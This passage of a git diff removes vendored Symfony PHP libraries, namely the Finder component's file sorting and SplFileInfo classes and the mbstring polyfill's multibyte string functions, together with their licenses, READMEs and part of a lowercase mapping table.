SORT_BY_MODIFIED_TIME = 5; - const SORT_BY_NAME_NATURAL = 6; - - private $iterator; - private $sort; - - /** - * @param \Traversable $iterator The Iterator to filter - * @param int|callable $sort The sort type (SORT_BY_NAME, SORT_BY_TYPE, or a PHP callback) - * - * @throws \InvalidArgumentException - */ - public function __construct(\Traversable $iterator, $sort, bool $reverseOrder = false) - { - $this->iterator = $iterator; - $order = $reverseOrder ? -1 : 1; - - if (self::SORT_BY_NAME === $sort) { - $this->sort = static function ($a, $b) use ($order) { - return $order * strcmp($a->getRealPath() ?: $a->getPathname(), $b->getRealPath() ?: $b->getPathname()); - }; - } elseif (self::SORT_BY_NAME_NATURAL === $sort) { - $this->sort = static function ($a, $b) use ($order) { - return $order * strnatcmp($a->getRealPath() ?: $a->getPathname(), $b->getRealPath() ?: $b->getPathname()); - }; - } elseif (self::SORT_BY_TYPE === $sort) { - $this->sort = static function ($a, $b) use ($order) { - if ($a->isDir() && $b->isFile()) { - return -$order; - } elseif ($a->isFile() && $b->isDir()) { - return $order; - } - - return $order * strcmp($a->getRealPath() ?: $a->getPathname(), $b->getRealPath() ?: $b->getPathname()); - }; - } elseif (self::SORT_BY_ACCESSED_TIME === $sort) { - $this->sort = static function ($a, $b) use ($order) { - return $order * ($a->getATime() - $b->getATime()); - }; - } elseif (self::SORT_BY_CHANGED_TIME === $sort) { - $this->sort = static function ($a, $b) use ($order) { - return $order * ($a->getCTime() - $b->getCTime()); - }; - } elseif (self::SORT_BY_MODIFIED_TIME === $sort) { - $this->sort = static function ($a, $b) use ($order) { - return $order * ($a->getMTime() - $b->getMTime()); - }; - } elseif (self::SORT_BY_NONE === $sort) { - $this->sort = $order; - } elseif (\is_callable($sort)) { - $this->sort = $reverseOrder ? static function ($a, $b) use ($sort) { return -$sort($a, $b); } : $sort; - } else { - throw new \InvalidArgumentException('The SortableIterator takes a PHP callable or a valid built-in sort algorithm as an argument.'); - } - } - - /** - * @return \Traversable - */ - public function getIterator() - { - if (1 === $this->sort) { - return $this->iterator; - } - - $array = iterator_to_array($this->iterator, true); - - if (-1 === $this->sort) { - $array = array_reverse($array); - } else { - uasort($array, $this->sort); - } - - return new \ArrayIterator($array); - } -} diff --git a/vendor/symfony/finder/LICENSE b/vendor/symfony/finder/LICENSE deleted file mode 100644 index 9e936ec..0000000 --- a/vendor/symfony/finder/LICENSE +++ /dev/null @@ -1,19 +0,0 @@ -Copyright (c) 2004-2020 Fabien Potencier - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is furnished -to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. diff --git a/vendor/symfony/finder/README.md b/vendor/symfony/finder/README.md deleted file mode 100644 index 0b19c75..0000000 --- a/vendor/symfony/finder/README.md +++ /dev/null @@ -1,14 +0,0 @@ -Finder Component -================ - -The Finder component finds files and directories via an intuitive fluent -interface. - -Resources ---------- - - * [Documentation](https://symfony.com/doc/current/components/finder.html) - * [Contributing](https://symfony.com/doc/current/contributing/index.html) - * [Report issues](https://github.com/symfony/symfony/issues) and - [send Pull Requests](https://github.com/symfony/symfony/pulls) - in the [main Symfony repository](https://github.com/symfony/symfony) diff --git a/vendor/symfony/finder/SplFileInfo.php b/vendor/symfony/finder/SplFileInfo.php deleted file mode 100644 index 62c9faa..0000000 --- a/vendor/symfony/finder/SplFileInfo.php +++ /dev/null @@ -1,85 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Component\Finder; - -/** - * Extends \SplFileInfo to support relative paths. - * - * @author Fabien Potencier - */ -class SplFileInfo extends \SplFileInfo -{ - private $relativePath; - private $relativePathname; - - /** - * @param string $file The file name - * @param string $relativePath The relative path - * @param string $relativePathname The relative path name - */ - public function __construct(string $file, string $relativePath, string $relativePathname) - { - parent::__construct($file); - $this->relativePath = $relativePath; - $this->relativePathname = $relativePathname; - } - - /** - * Returns the relative path. - * - * This path does not contain the file name. - * - * @return string the relative path - */ - public function getRelativePath() - { - return $this->relativePath; - } - - /** - * Returns the relative path name. - * - * This path contains the file name. - * - * @return string the relative path name - */ - public function getRelativePathname() - { - return $this->relativePathname; - } - - public function getFilenameWithoutExtension(): string - { - $filename = $this->getFilename(); - - return pathinfo($filename, \PATHINFO_FILENAME); - } - - /** - * Returns the contents of the file. - * - * @return string the contents of the file - * - * @throws \RuntimeException - */ - public function getContents() - { - set_error_handler(function ($type, $msg) use (&$error) { $error = $msg; }); - $content = file_get_contents($this->getPathname()); - restore_error_handler(); - if (false === $content) { - throw new \RuntimeException($error); - } - - return $content; - } -} diff --git a/vendor/symfony/finder/composer.json b/vendor/symfony/finder/composer.json deleted file mode 100644 index 7a696aa..0000000 --- a/vendor/symfony/finder/composer.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "name": "symfony/finder", - "type": "library", - "description": "Symfony Finder Component", - "keywords": [], - "homepage": "https://symfony.com", - "license": "MIT", - "authors": [ - { - "name": "Fabien Potencier", - "email": "fabien@symfony.com" - }, - { - "name": "Symfony Community", - "homepage": "https://symfony.com/contributors" - } - ], - "require": { - "php": ">=7.1.3" - }, - "autoload": { - "psr-4": { "Symfony\\Component\\Finder\\": "" }, - "exclude-from-classmap": [ - "/Tests/" - ] - }, - "minimum-stability": "dev" -} diff --git a/vendor/symfony/polyfill-mbstring/LICENSE b/vendor/symfony/polyfill-mbstring/LICENSE deleted file mode 100644 index 4cd8bdd..0000000 --- a/vendor/symfony/polyfill-mbstring/LICENSE +++ /dev/null @@ -1,19 +0,0 @@ -Copyright (c) 2015-2019 Fabien Potencier - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is furnished -to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. diff --git a/vendor/symfony/polyfill-mbstring/Mbstring.php b/vendor/symfony/polyfill-mbstring/Mbstring.php deleted file mode 100644 index 7bb3023..0000000 --- a/vendor/symfony/polyfill-mbstring/Mbstring.php +++ /dev/null @@ -1,846 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Symfony\Polyfill\Mbstring; - -/** - * Partial mbstring implementation in PHP, iconv based, UTF-8 centric. - * - * Implemented: - * - mb_chr - Returns a specific character from its Unicode code point - * - mb_convert_encoding - Convert character encoding - * - mb_convert_variables - Convert character code in variable(s) - * - mb_decode_mimeheader - Decode string in MIME header field - * - mb_encode_mimeheader - Encode string for MIME header XXX NATIVE IMPLEMENTATION IS REALLY BUGGED - * - mb_decode_numericentity - Decode HTML numeric string reference to character - * - mb_encode_numericentity - Encode character to HTML numeric string reference - * - mb_convert_case - Perform case folding on a string - * - mb_detect_encoding - Detect character encoding - * - mb_get_info - Get internal settings of mbstring - * - mb_http_input - Detect HTTP input character encoding - * - mb_http_output - Set/Get HTTP output character encoding - * - mb_internal_encoding - Set/Get internal character encoding - * - mb_list_encodings - Returns an array of all supported encodings - * - mb_ord - Returns the Unicode code point of a character - * - mb_output_handler - Callback function converts character encoding in output buffer - * - mb_scrub - Replaces ill-formed byte sequences with substitute characters - * - mb_strlen - Get string length - * - mb_strpos - Find position of first occurrence of string in a string - * - mb_strrpos - Find position of last occurrence of a string in a string - * - mb_str_split - Convert a string to an array - * - mb_strtolower - Make a string lowercase - * - mb_strtoupper - Make a string uppercase - * - mb_substitute_character - Set/Get substitution character - * - mb_substr - Get part of string - * - mb_stripos - Finds position of first occurrence of a string within another, case insensitive - * - mb_stristr - Finds first occurrence of a string within another, case insensitive - * - mb_strrchr - Finds the last occurrence of a character in a string within another - * - mb_strrichr - Finds the last occurrence of a character in a string within another, case insensitive - * - mb_strripos - Finds position of last occurrence of a string within another, case insensitive - * - mb_strstr - Finds first occurrence of a string within another - * - mb_strwidth - Return width of string - * - mb_substr_count - Count the number of substring occurrences - * - * Not implemented: - * - mb_convert_kana - Convert "kana" one from another ("zen-kaku", "han-kaku" and more) - * - mb_ereg_* - Regular expression with multibyte support - * - mb_parse_str - Parse GET/POST/COOKIE data and set global variable - * - mb_preferred_mime_name - Get MIME charset string - * - mb_regex_encoding - Returns current encoding for multibyte regex as string - * - mb_regex_set_options - Set/Get the default options for mbregex functions - * - mb_send_mail - Send encoded mail - * - mb_split - Split multibyte string using regular expression - * - mb_strcut - Get part of string - * - mb_strimwidth - Get truncated string with specified width - * - * @author Nicolas Grekas - * - * @internal - */ -final class Mbstring -{ - const MB_CASE_FOLD = PHP_INT_MAX; - - private static $encodingList = array('ASCII', 'UTF-8'); - private static $language = 'neutral'; - private static $internalEncoding = 'UTF-8'; - private static $caseFold = array( - array('µ', 'ſ', "\xCD\x85", 'ς', "\xCF\x90", "\xCF\x91", "\xCF\x95", "\xCF\x96", "\xCF\xB0", "\xCF\xB1", "\xCF\xB5", "\xE1\xBA\x9B", "\xE1\xBE\xBE"), - array('μ', 's', 'ι', 'σ', 'β', 'θ', 'φ', 'π', 'κ', 'ρ', 'ε', "\xE1\xB9\xA1", 'ι'), - ); - - public static function mb_convert_encoding($s, $toEncoding, $fromEncoding = null) - { - if (\is_array($fromEncoding) || false !== strpos($fromEncoding, ',')) { - $fromEncoding = self::mb_detect_encoding($s, $fromEncoding); - } else { - $fromEncoding = self::getEncoding($fromEncoding); - } - - $toEncoding = self::getEncoding($toEncoding); - - if ('BASE64' === $fromEncoding) { - $s = base64_decode($s); - $fromEncoding = $toEncoding; - } - - if ('BASE64' === $toEncoding) { - return base64_encode($s); - } - - if ('HTML-ENTITIES' === $toEncoding || 'HTML' === $toEncoding) { - if ('HTML-ENTITIES' === $fromEncoding || 'HTML' === $fromEncoding) { - $fromEncoding = 'Windows-1252'; - } - if ('UTF-8' !== $fromEncoding) { - $s = iconv($fromEncoding, 'UTF-8//IGNORE', $s); - } - - return preg_replace_callback('/[\x80-\xFF]+/', array(__CLASS__, 'html_encoding_callback'), $s); - } - - if ('HTML-ENTITIES' === $fromEncoding) { - $s = html_entity_decode($s, ENT_COMPAT, 'UTF-8'); - $fromEncoding = 'UTF-8'; - } - - return iconv($fromEncoding, $toEncoding.'//IGNORE', $s); - } - - public static function mb_convert_variables($toEncoding, $fromEncoding, &...$vars) - { - $ok = true; - array_walk_recursive($vars, function (&$v) use (&$ok, $toEncoding, $fromEncoding) { - if (false === $v = Mbstring::mb_convert_encoding($v, $toEncoding, $fromEncoding)) { - $ok = false; - } - }); - - return $ok ? $fromEncoding : false; - } - - public static function mb_decode_mimeheader($s) - { - return iconv_mime_decode($s, 2, self::$internalEncoding); - } - - public static function mb_encode_mimeheader($s, $charset = null, $transferEncoding = null, $linefeed = null, $indent = null) - { - trigger_error('mb_encode_mimeheader() is bugged. Please use iconv_mime_encode() instead', E_USER_WARNING); - } - - public static function mb_decode_numericentity($s, $convmap, $encoding = null) - { - if (null !== $s && !\is_scalar($s) && !(\is_object($s) && \method_exists($s, '__toString'))) { - trigger_error('mb_decode_numericentity() expects parameter 1 to be string, '.\gettype($s).' given', E_USER_WARNING); - - return null; - } - - if (!\is_array($convmap) || !$convmap) { - return false; - } - - if (null !== $encoding && !\is_scalar($encoding)) { - trigger_error('mb_decode_numericentity() expects parameter 3 to be string, '.\gettype($s).' given', E_USER_WARNING); - - return ''; // Instead of null (cf. mb_encode_numericentity). - } - - $s = (string) $s; - if ('' === $s) { - return ''; - } - - $encoding = self::getEncoding($encoding); - - if ('UTF-8' === $encoding) { - $encoding = null; - if (!preg_match('//u', $s)) { - $s = @iconv('UTF-8', 'UTF-8//IGNORE', $s); - } - } else { - $s = iconv($encoding, 'UTF-8//IGNORE', $s); - } - - $cnt = floor(\count($convmap) / 4) * 4; - - for ($i = 0; $i < $cnt; $i += 4) { - // collector_decode_htmlnumericentity ignores $convmap[$i + 3] - $convmap[$i] += $convmap[$i + 2]; - $convmap[$i + 1] += $convmap[$i + 2]; - } - - $s = preg_replace_callback('/&#(?:0*([0-9]+)|x0*([0-9a-fA-F]+))(?!&);?/', function (array $m) use ($cnt, $convmap) { - $c = isset($m[2]) ? (int) hexdec($m[2]) : $m[1]; - for ($i = 0; $i < $cnt; $i += 4) { - if ($c >= $convmap[$i] && $c <= $convmap[$i + 1]) { - return Mbstring::mb_chr($c - $convmap[$i + 2]); - } - } - - return $m[0]; - }, $s); - - if (null === $encoding) { - return $s; - } - - return iconv('UTF-8', $encoding.'//IGNORE', $s); - } - - public static function mb_encode_numericentity($s, $convmap, $encoding = null, $is_hex = false) - { - if (null !== $s && !\is_scalar($s) && !(\is_object($s) && \method_exists($s, '__toString'))) { - trigger_error('mb_encode_numericentity() expects parameter 1 to be string, '.\gettype($s).' given', E_USER_WARNING); - - return null; - } - - if (!\is_array($convmap) || !$convmap) { - return false; - } - - if (null !== $encoding && !\is_scalar($encoding)) { - trigger_error('mb_encode_numericentity() expects parameter 3 to be string, '.\gettype($s).' given', E_USER_WARNING); - - return null; // Instead of '' (cf. mb_decode_numericentity). - } - - if (null !== $is_hex && !\is_scalar($is_hex)) { - trigger_error('mb_encode_numericentity() expects parameter 4 to be boolean, '.\gettype($s).' given', E_USER_WARNING); - - return null; - } - - $s = (string) $s; - if ('' === $s) { - return ''; - } - - $encoding = self::getEncoding($encoding); - - if ('UTF-8' === $encoding) { - $encoding = null; - if (!preg_match('//u', $s)) { - $s = @iconv('UTF-8', 'UTF-8//IGNORE', $s); - } - } else { - $s = iconv($encoding, 'UTF-8//IGNORE', $s); - } - - static $ulenMask = array("\xC0" => 2, "\xD0" => 2, "\xE0" => 3, "\xF0" => 4); - - $cnt = floor(\count($convmap) / 4) * 4; - $i = 0; - $len = \strlen($s); - $result = ''; - - while ($i < $len) { - $ulen = $s[$i] < "\x80" ? 1 : $ulenMask[$s[$i] & "\xF0"]; - $uchr = substr($s, $i, $ulen); - $i += $ulen; - $c = self::mb_ord($uchr); - - for ($j = 0; $j < $cnt; $j += 4) { - if ($c >= $convmap[$j] && $c <= $convmap[$j + 1]) { - $cOffset = ($c + $convmap[$j + 2]) & $convmap[$j + 3]; - $result .= $is_hex ? sprintf('&#x%X;', $cOffset) : '&#'.$cOffset.';'; - continue 2; - } - } - $result .= $uchr; - } - - if (null === $encoding) { - return $result; - } - - return iconv('UTF-8', $encoding.'//IGNORE', $result); - } - - public static function mb_convert_case($s, $mode, $encoding = null) - { - $s = (string) $s; - if ('' === $s) { - return ''; - } - - $encoding = self::getEncoding($encoding); - - if ('UTF-8' === $encoding) { - $encoding = null; - if (!preg_match('//u', $s)) { - $s = @iconv('UTF-8', 'UTF-8//IGNORE', $s); - } - } else { - $s = iconv($encoding, 'UTF-8//IGNORE', $s); - } - - if (MB_CASE_TITLE == $mode) { - static $titleRegexp = null; - if (null === $titleRegexp) { - $titleRegexp = self::getData('titleCaseRegexp'); - } - $s = preg_replace_callback($titleRegexp, array(__CLASS__, 'title_case'), $s); - } else { - if (MB_CASE_UPPER == $mode) { - static $upper = null; - if (null === $upper) { - $upper = self::getData('upperCase'); - } - $map = $upper; - } else { - if (self::MB_CASE_FOLD === $mode) { - $s = str_replace(self::$caseFold[0], self::$caseFold[1], $s); - } - - static $lower = null; - if (null === $lower) { - $lower = self::getData('lowerCase'); - } - $map = $lower; - } - - static $ulenMask = array("\xC0" => 2, "\xD0" => 2, "\xE0" => 3, "\xF0" => 4); - - $i = 0; - $len = \strlen($s); - - while ($i < $len) { - $ulen = $s[$i] < "\x80" ? 1 : $ulenMask[$s[$i] & "\xF0"]; - $uchr = substr($s, $i, $ulen); - $i += $ulen; - - if (isset($map[$uchr])) { - $uchr = $map[$uchr]; - $nlen = \strlen($uchr); - - if ($nlen == $ulen) { - $nlen = $i; - do { - $s[--$nlen] = $uchr[--$ulen]; - } while ($ulen); - } else { - $s = substr_replace($s, $uchr, $i - $ulen, $ulen); - $len += $nlen - $ulen; - $i += $nlen - $ulen; - } - } - } - } - - if (null === $encoding) { - return $s; - } - - return iconv('UTF-8', $encoding.'//IGNORE', $s); - } - - public static function mb_internal_encoding($encoding = null) - { - if (null === $encoding) { - return self::$internalEncoding; - } - - $encoding = self::getEncoding($encoding); - - if ('UTF-8' === $encoding || false !== @iconv($encoding, $encoding, ' ')) { - self::$internalEncoding = $encoding; - - return true; - } - - return false; - } - - public static function mb_language($lang = null) - { - if (null === $lang) { - return self::$language; - } - - switch ($lang = strtolower($lang)) { - case 'uni': - case 'neutral': - self::$language = $lang; - - return true; - } - - return false; - } - - public static function mb_list_encodings() - { - return array('UTF-8'); - } - - public static function mb_encoding_aliases($encoding) - { - switch (strtoupper($encoding)) { - case 'UTF8': - case 'UTF-8': - return array('utf8'); - } - - return false; - } - - public static function mb_check_encoding($var = null, $encoding = null) - { - if (null === $encoding) { - if (null === $var) { - return false; - } - $encoding = self::$internalEncoding; - } - - return self::mb_detect_encoding($var, array($encoding)) || false !== @iconv($encoding, $encoding, $var); - } - - public static function mb_detect_encoding($str, $encodingList = null, $strict = false) - { - if (null === $encodingList) { - $encodingList = self::$encodingList; - } else { - if (!\is_array($encodingList)) { - $encodingList = array_map('trim', explode(',', $encodingList)); - } - $encodingList = array_map('strtoupper', $encodingList); - } - - foreach ($encodingList as $enc) { - switch ($enc) { - case 'ASCII': - if (!preg_match('/[\x80-\xFF]/', $str)) { - return $enc; - } - break; - - case 'UTF8': - case 'UTF-8': - if (preg_match('//u', $str)) { - return 'UTF-8'; - } - break; - - default: - if (0 === strncmp($enc, 'ISO-8859-', 9)) { - return $enc; - } - } - } - - return false; - } - - public static function mb_detect_order($encodingList = null) - { - if (null === $encodingList) { - return self::$encodingList; - } - - if (!\is_array($encodingList)) { - $encodingList = array_map('trim', explode(',', $encodingList)); - } - $encodingList = array_map('strtoupper', $encodingList); - - foreach ($encodingList as $enc) { - switch ($enc) { - default: - if (strncmp($enc, 'ISO-8859-', 9)) { - return false; - } - // no break - case 'ASCII': - case 'UTF8': - case 'UTF-8': - } - } - - self::$encodingList = $encodingList; - - return true; - } - - public static function mb_strlen($s, $encoding = null) - { - $encoding = self::getEncoding($encoding); - if ('CP850' === $encoding || 'ASCII' === $encoding) { - return \strlen($s); - } - - return @iconv_strlen($s, $encoding); - } - - public static function mb_strpos($haystack, $needle, $offset = 0, $encoding = null) - { - $encoding = self::getEncoding($encoding); - if ('CP850' === $encoding || 'ASCII' === $encoding) { - return strpos($haystack, $needle, $offset); - } - - $needle = (string) $needle; - if ('' === $needle) { - trigger_error(__METHOD__.': Empty delimiter', E_USER_WARNING); - - return false; - } - - return iconv_strpos($haystack, $needle, $offset, $encoding); - } - - public static function mb_strrpos($haystack, $needle, $offset = 0, $encoding = null) - { - $encoding = self::getEncoding($encoding); - if ('CP850' === $encoding || 'ASCII' === $encoding) { - return strrpos($haystack, $needle, $offset); - } - - if ($offset != (int) $offset) { - $offset = 0; - } elseif ($offset = (int) $offset) { - if ($offset < 0) { - if (0 > $offset += self::mb_strlen($needle)) { - $haystack = self::mb_substr($haystack, 0, $offset, $encoding); - } - $offset = 0; - } else { - $haystack = self::mb_substr($haystack, $offset, 2147483647, $encoding); - } - } - - $pos = iconv_strrpos($haystack, $needle, $encoding); - - return false !== $pos ? $offset + $pos : false; - } - - public static function mb_str_split($string, $split_length = 1, $encoding = null) - { - if (null !== $string && !\is_scalar($string) && !(\is_object($string) && \method_exists($string, '__toString'))) { - trigger_error('mb_str_split() expects parameter 1 to be string, '.\gettype($string).' given', E_USER_WARNING); - - return null; - } - - if (1 > $split_length = (int) $split_length) { - trigger_error('The length of each segment must be greater than zero', E_USER_WARNING); - - return false; - } - - if (null === $encoding) { - $encoding = mb_internal_encoding(); - } - - if ('UTF-8' === $encoding = self::getEncoding($encoding)) { - $rx = '/('; - while (65535 < $split_length) { - $rx .= '.{65535}'; - $split_length -= 65535; - } - $rx .= '.{'.$split_length.'})/us'; - - return preg_split($rx, $string, null, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY); - } - - $result = array(); - $length = mb_strlen($string, $encoding); - - for ($i = 0; $i < $length; $i += $split_length) { - $result[] = mb_substr($string, $i, $split_length, $encoding); - } - - return $result; - } - - public static function mb_strtolower($s, $encoding = null) - { - return self::mb_convert_case($s, MB_CASE_LOWER, $encoding); - } - - public static function mb_strtoupper($s, $encoding = null) - { - return self::mb_convert_case($s, MB_CASE_UPPER, $encoding); - } - - public static function mb_substitute_character($c = null) - { - if (0 === strcasecmp($c, 'none')) { - return true; - } - - return null !== $c ? false : 'none'; - } - - public static function mb_substr($s, $start, $length = null, $encoding = null) - { - $encoding = self::getEncoding($encoding); - if ('CP850' === $encoding || 'ASCII' === $encoding) { - return (string) substr($s, $start, null === $length ? 2147483647 : $length); - } - - if ($start < 0) { - $start = iconv_strlen($s, $encoding) + $start; - if ($start < 0) { - $start = 0; - } - } - - if (null === $length) { - $length = 2147483647; - } elseif ($length < 0) { - $length = iconv_strlen($s, $encoding) + $length - $start; - if ($length < 0) { - return ''; - } - } - - return (string) iconv_substr($s, $start, $length, $encoding); - } - - public static function mb_stripos($haystack, $needle, $offset = 0, $encoding = null) - { - $haystack = self::mb_convert_case($haystack, self::MB_CASE_FOLD, $encoding); - $needle = self::mb_convert_case($needle, self::MB_CASE_FOLD, $encoding); - - return self::mb_strpos($haystack, $needle, $offset, $encoding); - } - - public static function mb_stristr($haystack, $needle, $part = false, $encoding = null) - { - $pos = self::mb_stripos($haystack, $needle, 0, $encoding); - - return self::getSubpart($pos, $part, $haystack, $encoding); - } - - public static function mb_strrchr($haystack, $needle, $part = false, $encoding = null) - { - $encoding = self::getEncoding($encoding); - if ('CP850' === $encoding || 'ASCII' === $encoding) { - $pos = strrpos($haystack, $needle); - } else { - $needle = self::mb_substr($needle, 0, 1, $encoding); - $pos = iconv_strrpos($haystack, $needle, $encoding); - } - - return self::getSubpart($pos, $part, $haystack, $encoding); - } - - public static function mb_strrichr($haystack, $needle, $part = false, $encoding = null) - { - $needle = self::mb_substr($needle, 0, 1, $encoding); - $pos = self::mb_strripos($haystack, $needle, $encoding); - - return self::getSubpart($pos, $part, $haystack, $encoding); - } - - public static function mb_strripos($haystack, $needle, $offset = 0, $encoding = null) - { - $haystack = self::mb_convert_case($haystack, self::MB_CASE_FOLD, $encoding); - $needle = self::mb_convert_case($needle, self::MB_CASE_FOLD, $encoding); - - return self::mb_strrpos($haystack, $needle, $offset, $encoding); - } - - public static function mb_strstr($haystack, $needle, $part = false, $encoding = null) - { - $pos = strpos($haystack, $needle); - if (false === $pos) { - return false; - } - if ($part) { - return substr($haystack, 0, $pos); - } - - return substr($haystack, $pos); - } - - public static function mb_get_info($type = 'all') - { - $info = array( - 'internal_encoding' => self::$internalEncoding, - 'http_output' => 'pass', - 'http_output_conv_mimetypes' => '^(text/|application/xhtml\+xml)', - 'func_overload' => 0, - 'func_overload_list' => 'no overload', - 'mail_charset' => 'UTF-8', - 'mail_header_encoding' => 'BASE64', - 'mail_body_encoding' => 'BASE64', - 'illegal_chars' => 0, - 'encoding_translation' => 'Off', - 'language' => self::$language, - 'detect_order' => self::$encodingList, - 'substitute_character' => 'none', - 'strict_detection' => 'Off', - ); - - if ('all' === $type) { - return $info; - } - if (isset($info[$type])) { - return $info[$type]; - } - - return false; - } - - public static function mb_http_input($type = '') - { - return false; - } - - public static function mb_http_output($encoding = null) - { - return null !== $encoding ? 'pass' === $encoding : 'pass'; - } - - public static function mb_strwidth($s, $encoding = null) - { - $encoding = self::getEncoding($encoding); - - if ('UTF-8' !== $encoding) { - $s = iconv($encoding, 'UTF-8//IGNORE', $s); - } - - $s = preg_replace('/[\x{1100}-\x{115F}\x{2329}\x{232A}\x{2E80}-\x{303E}\x{3040}-\x{A4CF}\x{AC00}-\x{D7A3}\x{F900}-\x{FAFF}\x{FE10}-\x{FE19}\x{FE30}-\x{FE6F}\x{FF00}-\x{FF60}\x{FFE0}-\x{FFE6}\x{20000}-\x{2FFFD}\x{30000}-\x{3FFFD}]/u', '', $s, -1, $wide); - - return ($wide << 1) + iconv_strlen($s, 'UTF-8'); - } - - public static function mb_substr_count($haystack, $needle, $encoding = null) - { - return substr_count($haystack, $needle); - } - - public static function mb_output_handler($contents, $status) - { - return $contents; - } - - public static function mb_chr($code, $encoding = null) - { - if (0x80 > $code %= 0x200000) { - $s = \chr($code); - } elseif (0x800 > $code) { - $s = \chr(0xC0 | $code >> 6).\chr(0x80 | $code & 0x3F); - } elseif (0x10000 > $code) { - $s = \chr(0xE0 | $code >> 12).\chr(0x80 | $code >> 6 & 0x3F).\chr(0x80 | $code & 0x3F); - } else { - $s = \chr(0xF0 | $code >> 18).\chr(0x80 | $code >> 12 & 0x3F).\chr(0x80 | $code >> 6 & 0x3F).\chr(0x80 | $code & 0x3F); - } - - if ('UTF-8' !== $encoding = self::getEncoding($encoding)) { - $s = mb_convert_encoding($s, $encoding, 'UTF-8'); - } - - return $s; - } - - public static function mb_ord($s, $encoding = null) - { - if ('UTF-8' !== $encoding = self::getEncoding($encoding)) { - $s = mb_convert_encoding($s, 'UTF-8', $encoding); - } - - if (1 === \strlen($s)) { - return \ord($s); - } - - $code = ($s = unpack('C*', substr($s, 0, 4))) ? $s[1] : 0; - if (0xF0 <= $code) { - return (($code - 0xF0) << 18) + (($s[2] - 0x80) << 12) + (($s[3] - 0x80) << 6) + $s[4] - 0x80; - } - if (0xE0 <= $code) { - return (($code - 0xE0) << 12) + (($s[2] - 0x80) << 6) + $s[3] - 0x80; - } - if (0xC0 <= $code) { - return (($code - 0xC0) << 6) + $s[2] - 0x80; - } - - return $code; - } - - private static function getSubpart($pos, $part, $haystack, $encoding) - { - if (false === $pos) { - return false; - } - if ($part) { - return self::mb_substr($haystack, 0, $pos, $encoding); - } - - return self::mb_substr($haystack, $pos, null, $encoding); - } - - private static function html_encoding_callback(array $m) - { - $i = 1; - $entities = ''; - $m = unpack('C*', htmlentities($m[0], ENT_COMPAT, 'UTF-8')); - - while (isset($m[$i])) { - if (0x80 > $m[$i]) { - $entities .= \chr($m[$i++]); - continue; - } - if (0xF0 <= $m[$i]) { - $c = (($m[$i++] - 0xF0) << 18) + (($m[$i++] - 0x80) << 12) + (($m[$i++] - 0x80) << 6) + $m[$i++] - 0x80; - } elseif (0xE0 <= $m[$i]) { - $c = (($m[$i++] - 0xE0) << 12) + (($m[$i++] - 0x80) << 6) + $m[$i++] - 0x80; - } else { - $c = (($m[$i++] - 0xC0) << 6) + $m[$i++] - 0x80; - } - - $entities .= '&#'.$c.';'; - } - - return $entities; - } - - private static function title_case(array $s) - { - return self::mb_convert_case($s[1], MB_CASE_UPPER, 'UTF-8').self::mb_convert_case($s[2], MB_CASE_LOWER, 'UTF-8'); - } - - private static function getData($file) - { - if (file_exists($file = __DIR__.'/Resources/unidata/'.$file.'.php')) { - return require $file; - } - - return false; - } - - private static function getEncoding($encoding) - { - if (null === $encoding) { - return self::$internalEncoding; - } - - if ('UTF-8' === $encoding) { - return 'UTF-8'; - } - - $encoding = strtoupper($encoding); - - if ('8BIT' === $encoding || 'BINARY' === $encoding) { - return 'CP850'; - } - - if ('UTF8' === $encoding) { - return 'UTF-8'; - } - - return $encoding; - } -} diff --git a/vendor/symfony/polyfill-mbstring/README.md b/vendor/symfony/polyfill-mbstring/README.md deleted file mode 100644 index 4efb599..0000000 --- a/vendor/symfony/polyfill-mbstring/README.md +++ /dev/null @@ -1,13 +0,0 @@ -Symfony Polyfill / Mbstring -=========================== - -This component provides a partial, native PHP implementation for the -[Mbstring](https://php.net/mbstring) extension. - -More information can be found in the -[main Polyfill README](https://github.com/symfony/polyfill/blob/master/README.md). - -License -======= - -This library is released under the [MIT license](LICENSE). diff --git a/vendor/symfony/polyfill-mbstring/Resources/unidata/lowerCase.php b/vendor/symfony/polyfill-mbstring/Resources/unidata/lowerCase.php deleted file mode 100644 index a22eca5..0000000 --- a/vendor/symfony/polyfill-mbstring/Resources/unidata/lowerCase.php +++ /dev/null @@ -1,1397 +0,0 @@ - 'a', - 'B' => 'b', - 'C' => 'c', - 'D' => 'd', - 'E' => 'e', - 'F' => 'f', - 'G' => 'g', - 'H' => 'h', - 'I' => 'i', - 'J' => 'j', - 'K' => 'k', - 'L' => 'l', - 'M' => 'm', - 'N' => 'n', - 